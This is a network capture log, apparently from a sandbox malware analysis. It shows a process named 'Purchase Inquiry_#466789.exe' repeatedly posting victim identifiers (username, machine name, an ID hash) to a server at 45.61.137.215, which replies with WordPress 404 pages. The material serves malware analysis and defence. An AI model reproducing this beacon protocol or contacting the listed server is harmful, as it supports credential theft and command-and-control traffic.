May 27, 2024 08:32:03.039221048 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.rujones675052JONES-PC+0FDD42EE188E931437F4FBE2CdFo1b
May 27, 2024 08:32:05.257942915 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:03 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:05.258101940 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:05.258110046 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:05.258127928 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:05.258141994 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:05.258153915 CEST	1236	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:05.258172989 CEST	1236	IN	Data Raw: 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 37 34 2c 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 Data Ascii: gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135de
May 27, 2024 08:32:05.258182049 CEST	1236	IN	Data Raw: 38 30 3a 20 35 2e 30 36 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 6e 61 74 75 72 61 6c 3a 20 36 70 78 20 36 70 78 20 39 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: 80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3p
May 27, 2024 08:32:05.258199930 CEST	1236	IN	Data Raw: 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d Data Ascii: nous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--c
May 27, 2024 08:32:05.258224010 CEST	1236	IN	Data Raw: 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f Data Ascii: has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:05.506033897 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:05.511282921 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:07.575625896 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:06 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:07.575659037 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:07.575675964 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:07.575684071 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:07.575700045 CEST	1236	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:07.575715065 CEST	1236	IN	Data Raw: 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 Data Ascii: nge-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-w
May 27, 2024 08:32:07.575730085 CEST	1236	IN	Data Raw: 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 Data Ascii: -preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--p
May 27, 2024 08:32:07.575745106 CEST	1236	IN	Data Raw: 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f Data Ascii: white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-c
May 27, 2024 08:32:07.575762033 CEST	1236	IN	Data Raw: 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: t;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-
May 27, 2024 08:32:07.575777054 CEST	1236	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:07.737924099 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:07.742906094 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:09.994904041 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:08 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:09.994968891 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:09.994980097 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:09.994993925 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:09.995004892 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:09.995135069 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:09.995166063 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:09.995176077 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:09.995338917 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
